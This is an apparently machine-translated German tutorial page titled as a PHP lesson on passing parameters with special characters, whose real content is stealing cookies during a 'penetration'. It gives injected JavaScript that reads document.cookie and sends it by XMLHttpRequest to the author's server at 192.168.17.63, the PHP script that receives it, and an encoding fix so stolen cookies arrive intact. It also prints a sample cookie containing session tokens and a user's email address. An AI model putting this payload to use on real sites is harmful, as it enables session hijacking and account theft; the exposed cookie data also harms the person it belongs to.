Heim > Artikel > Backend-Entwicklung > So übermitteln Sie Parameter mit Sonderzeichen in PHP
Während des Penetrationsprozesses können Sie den JS-Code in die Webseite einfügen, um das Cookie:document.cookie
Wie übertragen wir also das erhaltene Cookie auf unser eigenes Server?
Hier verwende ich die AJAX-Technologie. Allerdings weist Ajax ein domänenübergreifendes Problem auf, sodass Sie es im Header http erneut festlegen müssen. Hier geht es hauptsächlich um die Abgabe von Cookie.
Schauen wir uns zuerst einen Abschnitt anJSCode:
xmlhttp.open(" GET", "http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+document.cookie,true);
Hier wird das von der Webseite erhaltene Cookie an receiveCookie.php übermittelt, wobei Cookie Ein Teil davon ist wie folgt:
ULV=1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_35957 829; ids= -37098b091.151ab228f90. 0.920dc7c7;vjlast=1450275148;SUP=cv=1&bt=1450275168&et=1450361568&d=40c3&i=2611&us=1&vf=0&vt=0&ac=2&st=0<=1& uid=2277147785&user=49335 4115%40qq.com&ag=4&name=493354115 %40qq.com&nick=% E7%BB%BF%E8%8C%B66888&sex=1&ps=0&email=&dob=&ln=493354115%40qq.com&os=&fmp=&lcp=;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35CH 47We9hTzl.1 ; ALF=1481811169;
Wenn dann bei der Übermittlung Sonderzeichen wie "%", "&" usw. auftreten, Es wird automatisch analysiert, was zu einem Fehler bei der Parameterübergabe führt.
Die Lösung ist:var cookie = document.cookie;
cookie = Escape(encodeURIComponent(cookie) ) ;
xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+cookie,true);
erhaltenCookie.php um erhalten:
$cookie = $_GET[ "cookie"];
$cookie = (urldecode($cookie));
Das Obige stellt die Methode zum Übermitteln von Parametern vor, die Sonderzeichen in PHP enthalten, einschließlich des relevanten Inhalts. Ich hoffe, dass es für Freunde hilfreich ist, die sich für PHP-Tutorials interessieren.